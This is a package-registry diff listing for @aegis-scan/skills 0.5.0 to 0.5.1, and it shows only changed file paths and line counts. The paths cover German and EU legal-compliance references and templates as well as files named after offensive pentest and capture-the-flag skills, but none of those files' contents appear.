@aegis-scan/skills 0.5.0 → 0.5.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/ATTRIBUTION.md +93 -0
- package/package.json +1 -1
- package/sbom.cdx.json +1 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/.claude-plugin/plugin.json +108 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/CHANGELOG.md +878 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/HANDOVER-LO-LIVE-VERIFICATION-2026-05-15.md +187 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/README.md +9 -3
- package/skills/compliance/aegis-native/brutaler-anwalt/SKILL.md +93 -14
- package/skills/compliance/aegis-native/brutaler-anwalt/commands/audit.md +193 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/commands/avv-redline.md +246 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/commands/az-verify.md +155 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/commands/cold-start.md +157 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/commands/dsar-respond.md +180 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/commands/health.md +50 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/commands/simulate.md +158 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/hooks/post_write.py +315 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/hooks/prompt_submit.py +144 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/hooks/session_start.py +57 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/hooks/triggers.json +191 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/INDEX.md +102 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/abmahn-templates.md +1 -1
- package/skills/compliance/aegis-native/brutaler-anwalt/references/aegis-integration.md +60 -5
- package/skills/compliance/aegis-native/brutaler-anwalt/references/audit-patterns.md +745 -11
- package/skills/compliance/aegis-native/brutaler-anwalt/references/az-auffuellung-batch1.md +468 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/bgh-urteile.md +106 -30
- package/skills/compliance/aegis-native/brutaler-anwalt/references/branchenrecht.md +247 -2
- package/skills/compliance/aegis-native/brutaler-anwalt/references/checklisten.md +75 -2
- package/skills/compliance/aegis-native/brutaler-anwalt/references/de-aufsichtsbehoerden-taetigkeitsberichte-2024.md +310 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/de-bussgeld-argumentations-layer.md +598 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/de-dsk-beschluesse.md +346 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/AGG/audit-relevance.md +76 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/AGG/paragraphs.md +115 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/AMG/audit-relevance.md +58 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/AMG/paragraphs.md +95 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/ArbZG/audit-relevance.md +60 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/ArbZG/paragraphs.md +90 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/BetrVG/audit-relevance.md +73 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/BetrVG/paragraphs.md +114 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/DDG/audit-relevance.md +72 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/DDG/paragraphs.md +103 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/DiGAV/audit-relevance.md +65 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/DiGAV/paragraphs.md +102 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/ElektroG/audit-relevance.md +66 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/ElektroG/paragraphs.md +108 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/FernUSG/audit-relevance.md +80 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/FernUSG/paragraphs.md +102 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/GeschGehG/audit-relevance.md +89 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/GeschGehG/paragraphs.md +107 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/GwG/audit-relevance.md +62 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/GwG/paragraphs.md +119 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/HWG/audit-relevance.md +70 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/HWG/paragraphs.md +125 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/HinSchG/audit-relevance.md +70 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/HinSchG/paragraphs.md +116 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/INDEX.md +152 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/KWG/audit-relevance.md +64 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/KWG/paragraphs.md +110 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/LFGB/audit-relevance.md +63 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/LFGB/paragraphs.md +90 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/MPDG/audit-relevance.md +61 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/MPDG/paragraphs.md +96 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/NachwG/audit-relevance.md +54 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/NachwG/paragraphs.md +82 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/PAngV/audit-relevance.md +76 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/PAngV/paragraphs.md +86 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/RDG/audit-relevance.md +84 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/RDG/paragraphs.md +114 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/TDDDG/audit-relevance.md +92 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/TDDDG/paragraphs.md +91 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/UrhG-UrhDaG/audit-relevance.md +85 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/UrhG-UrhDaG/paragraphs.md +166 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/VDuG/audit-relevance.md +71 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/VDuG/paragraphs.md +102 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/VERIFICATION-NOTES.md +111 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/VVG/audit-relevance.md +65 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/VVG/paragraphs.md +101 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/VerpackG/audit-relevance.md +62 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/VerpackG/paragraphs.md +120 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/WpHG/audit-relevance.md +64 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/WpHG/paragraphs.md +120 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/ZAG/audit-relevance.md +68 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/ZAG/paragraphs.md +110 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/dsgvo.md +55 -8
- package/skills/compliance/aegis-native/brutaler-anwalt/references/eu-edpb-guidelines.md +505 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/eu-eugh-dsgvo-schadensersatz.md +223 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/BDSG/audit-relevance.md +31 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/BFSG/audit-relevance.md +39 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/BGB/audit-relevance.md +42 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/DDG/audit-relevance.md +28 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/DSGVO/audit-relevance.md +35 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/EU-Verordnungen/AI-Act-2024-1689/articles.md +4 -1
- package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/EU-Verordnungen/AI-Act-2024-1689/audit-relevance.md +139 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/EU-Verordnungen/AI-Act-2024-1689/gpai-pflichten.md +102 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/EU-Verordnungen/AI-Act-2024-1689/hochrisiko-annex-iii.md +134 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/EU-Verordnungen/AI-Act-2024-1689/sanktionen-art-99.md +97 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/EU-Verordnungen/AI-Act-2024-1689/transparenz-art-50.md +120 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/EU-Verordnungen/AI-Act-2024-1689/uebergangsfristen.md +109 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/EU-Verordnungen/CER-2022-2557/articles.md +42 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/EU-Verordnungen/CRA-2024-2847/articles.md +87 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/EU-Verordnungen/CSDDD-2024-1760/articles.md +43 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/EU-Verordnungen/CSRD-2022-2464/articles.md +42 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/EU-Verordnungen/DGA-2022-868/articles.md +53 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/EU-Verordnungen/DMA-2022-1925/articles.md +55 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/EU-Verordnungen/DORA-2022-2554/articles.md +164 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/EU-Verordnungen/DORA-2022-2554/audit-relevance.md +86 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/EU-Verordnungen/DSA-2022-2065/articles.md +3 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/EU-Verordnungen/DSA-2022-2065/audit-relevance.md +110 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/EU-Verordnungen/DSA-2022-2065/notice-and-action.md +138 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/EU-Verordnungen/DSA-2022-2065/small-platform-pflichten.md +109 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/EU-Verordnungen/DSA-2022-2065/trusted-flaggers.md +77 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/EU-Verordnungen/DSA-2022-2065/vlop-vlose.md +130 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/EU-Verordnungen/Data-Act-2023-2854/articles.md +102 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/EU-Verordnungen/Data-Act-2023-2854/audit-relevance.md +77 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/EU-Verordnungen/MiCA-2023-1114/articles.md +124 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/EU-Verordnungen/MiCA-2023-1114/audit-relevance.md +85 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/EU-Verordnungen/NIS2-2022-2555/articles.md +101 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/EU-Verordnungen/ProdHaftRL-2024-2853/articles.md +68 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/EU-Verordnungen/eIDAS-2024-1183/articles.md +43 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/Finance/KWG.md +52 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/Finance/PSD2.md +67 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/Finance/ZAG.md +50 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/GlueStV/articles.md +86 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/HGB-AO/audit-relevance.md +27 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/HinSchG/articles.md +96 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/JuSchG-JMStV/articles.md +86 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/KritisDachG/articles.md +39 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/LkSG/articles.md +90 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/MedTech/DiGAV.md +60 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/MedTech/IVDR-2017-746.md +51 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/MedTech/MDR-2017-745.md +85 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/NIS2UmsuCG-BSIG/articles.md +53 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/StGB/relevante-paragraphen.md +157 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/TDDDG/audit-relevance.md +33 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/TDDDG/paragraphs.md +3 -2
- package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/TKG/articles.md +73 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/UWG/audit-relevance.md +39 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/UWG/paragraphs.md +71 -3
- package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/VERIFICATION-STATUS.md +266 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/VSBG/audit-relevance.md +37 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/ePrivacy-RL-2002-58/articles.md +92 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/ePrivacy-RL-2002-58/audit-relevance.md +62 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/it-recht.md +115 -9
- package/skills/compliance/aegis-native/brutaler-anwalt/references/stack-patterns/INDEX.md +1 -1
- package/skills/compliance/aegis-native/brutaler-anwalt/references/stack-patterns/ai/anthropic-dpa.md +87 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/stack-patterns/astro/cookie-banner-pattern.md +202 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/stack-patterns/astro/dse-section-pattern.md +198 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/stack-patterns/astro/tracking-server-endpoint.md +193 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/stack-patterns/auth/auth0-tom.md +92 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/stack-patterns/auth/clerk-tom.md +84 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/stack-patterns/django/auth-cookies-pattern.md +295 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/stack-patterns/django/cookie-banner-pattern.md +318 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/stack-patterns/django/gdpr-cleanup-celery.md +339 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/stack-patterns/express/cookie-banner-pattern.md +237 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/stack-patterns/express/gdpr-routes-pattern.md +256 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/stack-patterns/express/helmet-csp-pattern.md +207 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/stack-patterns/laravel/agb-versioning-pattern.md +305 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/stack-patterns/laravel/cookie-banner-pattern.md +287 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/stack-patterns/laravel/gdpr-models-pattern.md +290 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/stack-patterns/laravel/tracking-config-pattern.md +263 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/stack-patterns/nest/auth-pattern.md +265 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/stack-patterns/nest/cookie-banner-pattern.md +255 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/stack-patterns/nest/gdpr-cleanup-cron.md +244 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/stack-patterns/nest/tracking-interceptor.md +239 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/stack-patterns/nextjs/api-route-bearer-auth.md +103 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/stack-patterns/nextjs/dynamic-rendering-headers.md +83 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/stack-patterns/nextjs/env-driven-tracking.md +135 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/stack-patterns/rails/cookie-banner-pattern.md +294 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/stack-patterns/rails/devise-dsgvo-pattern.md +262 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/stack-patterns/rails/gdpr-anonymization-pattern.md +283 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/stack-patterns/react/consent-gate-pattern.md +99 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/stack-patterns/react/cookie-banner-pattern.md +204 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/stack-patterns/strapi/cms-pii-pattern.md +301 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/stack-patterns/strapi/notice-and-action-plugin.md +371 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/stack-patterns/svelte/cookie-banner-pattern.md +234 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/stack-patterns/svelte/dse-section-pattern.md +231 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/stack-patterns/svelte/sveltekit-server-hooks-pattern.md +217 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/stack-patterns/tracking/google-analytics-consent.md +129 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/stack-patterns/tracking/posthog-consent.md +79 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/stack-patterns/vue/cookie-banner-pattern.md +208 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/stack-patterns/vue/dse-i18n-pattern.md +204 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/stack-patterns/vue/nuxt-vs-vue-only-pattern.md +197 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/stack-patterns/vue/tracking-pinia-pattern.md +211 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/strafrecht-steuer.md +1 -1
- package/skills/compliance/aegis-native/brutaler-anwalt/references/streitwerte.json +176 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/templates/DSFA-template.md +80 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/templates/VVT-template-file-upload.md +98 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/templates-avv-layer/AVV-EN-international.md +267 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/templates-avv-layer/AVV-anhang-Audit-Klausel-Varianten.md +148 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/templates-avv-layer/AVV-anhang-CH-revDSG.md +127 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/templates-avv-layer/AVV-anhang-SCC-module2-controller-processor.md +180 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/templates-avv-layer/AVV-anhang-SCC-module3-processor-subprocessor.md +144 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/templates-avv-layer/AVV-anhang-Sub-Processor-List.md +114 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/templates-avv-layer/AVV-anhang-TOMs.md +197 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/templates-avv-layer/AVV-anhang-UK-IDTA.md +131 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/templates-avv-layer/AVV-standard-DE.md +288 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/templates-avv-layer/Joint-Controller-Vertrag-Art-26.md +265 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/scripts/health-check.sh +190 -48
- package/skills/compliance/aegis-native/brutaler-anwalt/scripts/test-triggers.sh +145 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/settings.json +90 -0
- package/skills/defensive/permoon-fork/README.md +40 -0
- package/skills/defensive/permoon-fork/multi-model-consolidation/SKILL.md +47 -0
- package/skills/defensive/permoon-fork/multi-model-severity/SKILL.md +34 -0
- package/skills/defensive/permoon-fork/multi-model-system-prompt/SKILL.md +40 -0
- package/skills/foundation/aegis-native/aegis-handover-writer/SKILL.md +1 -1
- package/skills/foundation/aegis-native/aegis-quality-gates/SKILL.md +1 -1
- package/skills/offensive/airecon-fork/ctf-crypto/SKILL.md +260 -0
- package/skills/offensive/airecon-fork/ctf-crypto-modern-ciphers/SKILL.md +688 -0
- package/skills/offensive/airecon-fork/ctf-forensics/SKILL.md +253 -0
- package/skills/offensive/airecon-fork/ctf-forensics-network/SKILL.md +480 -0
- package/skills/offensive/airecon-fork/ctf-heap-advanced/SKILL.md +336 -0
- package/skills/offensive/airecon-fork/ctf-pwn/SKILL.md +294 -0
- package/skills/offensive/airecon-fork/ctf-pwn-rop-and-shellcode/SKILL.md +392 -0
- package/skills/offensive/airecon-fork/ctf-reversing/SKILL.md +284 -0
- package/skills/offensive/airecon-fork/frameworks-django/SKILL.md +268 -0
- package/skills/offensive/airecon-fork/frameworks-dotnet/SKILL.md +280 -0
- package/skills/offensive/airecon-fork/frameworks-express/SKILL.md +266 -0
- package/skills/offensive/airecon-fork/frameworks-fastapi/SKILL.md +193 -0
- package/skills/offensive/airecon-fork/frameworks-flask/SKILL.md +297 -0
- package/skills/offensive/airecon-fork/frameworks-laravel/SKILL.md +260 -0
- package/skills/offensive/airecon-fork/frameworks-nextjs/SKILL.md +230 -0
- package/skills/offensive/airecon-fork/frameworks-php/SKILL.md +271 -0
- package/skills/offensive/airecon-fork/frameworks-rails/SKILL.md +269 -0
- package/skills/offensive/airecon-fork/frameworks-spring/SKILL.md +245 -0
- package/skills/offensive/airecon-fork/frameworks-wordpress/SKILL.md +348 -0
- package/skills/offensive/airecon-fork/payloads-command-injection/SKILL.md +459 -0
- package/skills/offensive/airecon-fork/payloads-http-parameter-pollution/SKILL.md +129 -0
- package/skills/offensive/airecon-fork/payloads-ldap-injection/SKILL.md +100 -0
- package/skills/offensive/airecon-fork/payloads-lfi/SKILL.md +485 -0
- package/skills/offensive/airecon-fork/payloads-sqli/SKILL.md +419 -0
- package/skills/offensive/airecon-fork/payloads-ssrf/SKILL.md +125 -0
- package/skills/offensive/airecon-fork/payloads-ssti/SKILL.md +443 -0
- package/skills/offensive/airecon-fork/payloads-xss/SKILL.md +447 -0
- package/skills/offensive/airecon-fork/payloads-xxe/SKILL.md +172 -0
- package/skills/offensive/airecon-fork/postexploit-ad-credential-attacks/SKILL.md +306 -0
- package/skills/offensive/airecon-fork/postexploit-container-escape/SKILL.md +299 -0
- package/skills/offensive/airecon-fork/postexploit-credential-dumping/SKILL.md +249 -0
- package/skills/offensive/airecon-fork/postexploit-lateral-movement/SKILL.md +194 -0
- package/skills/offensive/airecon-fork/postexploit-linux-privesc/SKILL.md +252 -0
- package/skills/offensive/airecon-fork/postexploit-netexec-workflow/SKILL.md +302 -0
- package/skills/offensive/airecon-fork/postexploit-pivoting/SKILL.md +205 -0
- package/skills/offensive/airecon-fork/postexploit-windows-privesc/SKILL.md +210 -0
- package/skills/offensive/airecon-fork/protocols-active-directory/SKILL.md +314 -0
- package/skills/offensive/airecon-fork/protocols-dns/SKILL.md +203 -0
- package/skills/offensive/airecon-fork/protocols-ftp/SKILL.md +159 -0
- package/skills/offensive/airecon-fork/protocols-graphql/SKILL.md +648 -0
- package/skills/offensive/airecon-fork/protocols-kerberos/SKILL.md +168 -0
- package/skills/offensive/airecon-fork/protocols-ldap/SKILL.md +245 -0
- package/skills/offensive/airecon-fork/protocols-rdp/SKILL.md +186 -0
- package/skills/offensive/airecon-fork/protocols-smb/SKILL.md +191 -0
- package/skills/offensive/airecon-fork/protocols-smtp-imap/SKILL.md +263 -0
- package/skills/offensive/airecon-fork/protocols-snmp/SKILL.md +147 -0
- package/skills/offensive/airecon-fork/protocols-ssh/SKILL.md +287 -0
- package/skills/offensive/airecon-fork/reconnaissance-asn-whois-osint/SKILL.md +236 -0
- package/skills/offensive/airecon-fork/reconnaissance-ctf-methodology/SKILL.md +435 -0
- package/skills/offensive/airecon-fork/reconnaissance-dorking/SKILL.md +182 -0
- package/skills/offensive/airecon-fork/reconnaissance-exposed-devtools-detection/SKILL.md +513 -0
- package/skills/offensive/airecon-fork/reconnaissance-full-recon/SKILL.md +305 -0
- package/skills/offensive/airecon-fork/reconnaissance-internal-pentest/SKILL.md +202 -0
- package/skills/offensive/airecon-fork/reconnaissance-javascript-analysis/SKILL.md +167 -0
- package/skills/offensive/airecon-fork/reconnaissance-js-internal-hostname-intelligence/SKILL.md +391 -0
- package/skills/offensive/airecon-fork/reconnaissance-monitoring-secrets-exposure/SKILL.md +394 -0
- package/skills/offensive/airecon-fork/reconnaissance-shodan-censys/SKILL.md +279 -0
- package/skills/offensive/airecon-fork/reconnaissance-subdomain-enum/SKILL.md +952 -0
- package/skills/offensive/airecon-fork/technologies-cicd-attacks/SKILL.md +283 -0
- package/skills/offensive/airecon-fork/technologies-cloud-security/SKILL.md +299 -0
- package/skills/offensive/airecon-fork/technologies-docker-container/SKILL.md +266 -0
- package/skills/offensive/airecon-fork/technologies-elasticsearch/SKILL.md +226 -0
- package/skills/offensive/airecon-fork/technologies-firebase-firestore/SKILL.md +213 -0
- package/skills/offensive/airecon-fork/technologies-frida-hooking/SKILL.md +387 -0
- package/skills/offensive/airecon-fork/technologies-gitlab-github/SKILL.md +259 -0
- package/skills/offensive/airecon-fork/technologies-jenkins/SKILL.md +256 -0
- package/skills/offensive/airecon-fork/technologies-kubernetes-pentest/SKILL.md +281 -0
- package/skills/offensive/airecon-fork/technologies-memcached/SKILL.md +230 -0
- package/skills/offensive/airecon-fork/technologies-mobile-app-pentesting/SKILL.md +105 -0
- package/skills/offensive/airecon-fork/technologies-mongodb/SKILL.md +257 -0
- package/skills/offensive/airecon-fork/technologies-nginx-apache/SKILL.md +280 -0
- package/skills/offensive/airecon-fork/technologies-observability-stack-attacks/SKILL.md +501 -0
- package/skills/offensive/airecon-fork/technologies-redis/SKILL.md +236 -0
- package/skills/offensive/airecon-fork/technologies-supabase/SKILL.md +270 -0
- package/skills/offensive/airecon-fork/technologies-tomcat/SKILL.md +232 -0
- package/skills/offensive/airecon-fork/tools-advanced-fuzzing/SKILL.md +351 -0
- package/skills/offensive/airecon-fork/tools-browser-automation/SKILL.md +300 -0
- package/skills/offensive/airecon-fork/tools-caido/SKILL.md +776 -0
- package/skills/offensive/airecon-fork/tools-code-review/SKILL.md +71 -0
- package/skills/offensive/airecon-fork/tools-dalfox/SKILL.md +189 -0
- package/skills/offensive/airecon-fork/tools-hashcat-john/SKILL.md +258 -0
- package/skills/offensive/airecon-fork/tools-impacket/SKILL.md +227 -0
- package/skills/offensive/airecon-fork/tools-install/SKILL.md +202 -0
- package/skills/offensive/airecon-fork/tools-metasploit/SKILL.md +270 -0
- package/skills/offensive/airecon-fork/tools-nmap/SKILL.md +211 -0
- package/skills/offensive/airecon-fork/tools-nuclei/SKILL.md +175 -0
- package/skills/offensive/airecon-fork/tools-reporting/SKILL.md +47 -0
- package/skills/offensive/airecon-fork/tools-scripting/SKILL.md +1939 -0
- package/skills/offensive/airecon-fork/tools-semgrep/SKILL.md +202 -0
- package/skills/offensive/airecon-fork/tools-source-audit/SKILL.md +308 -0
- package/skills/offensive/airecon-fork/tools-sqlmap/SKILL.md +137 -0
- package/skills/offensive/airecon-fork/tools-tool-catalog/SKILL.md +320 -0
- package/skills/offensive/airecon-fork/tools-wapiti/SKILL.md +293 -0
- package/skills/offensive/airecon-fork/vulnerabilities-2fa-bypass/SKILL.md +219 -0
- package/skills/offensive/airecon-fork/vulnerabilities-account-takeover/SKILL.md +223 -0
- package/skills/offensive/airecon-fork/vulnerabilities-api-schema-exposure/SKILL.md +849 -0
- package/skills/offensive/airecon-fork/vulnerabilities-api-testing/SKILL.md +278 -0
- package/skills/offensive/airecon-fork/vulnerabilities-auth-workflow/SKILL.md +252 -0
- package/skills/offensive/airecon-fork/vulnerabilities-authentication-jwt/SKILL.md +158 -0
